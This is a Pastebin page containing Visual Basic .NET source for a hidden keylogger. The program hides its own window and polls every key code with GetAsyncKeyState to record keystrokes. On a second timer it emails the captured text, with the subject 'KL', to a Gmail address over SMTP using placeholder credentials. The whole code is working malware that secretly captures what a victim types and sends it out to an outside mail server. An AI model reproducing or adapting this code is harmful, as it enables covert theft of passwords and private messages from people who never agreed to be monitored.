Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [code]
- Imports System.Net.Mail
- Public Class Form1
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
- Dim MyMailMessage As New MailMessage
- MyMailMessage.From = New MailAddress("xxx@gmail.com")
- MyMailMessage.To.Add("xxx@gmail.com")
- MyMailMessage.Subject = ("KL")
- MyMailMessage.Body = RichTextBox1.Text
- Dim SMTPServer As New SmtpClient("smtp.gmail.com")
- SMTPServer.Port = 587
- SMTPServer.Credentials = New System.Net.NetworkCredential("xxx@gmail.com", "xxx")
- SMTPServer.EnableSsl = True
- SMTPServer.Send(MyMailMessage)
- RichTextBox1.Text = ("")
- End Sub
- Dim result As Integer
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Me.Hide()
- Me.Visible = False
- For i = 1 To 255
- result = 0
- result = GetAsyncKeyState(i)
- If result = -32767 Then
- RichTextBox1.Text = RichTextBox1.Text + Chr(i)
- End If
- Next i
- End Sub
- End Class
- [/code]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement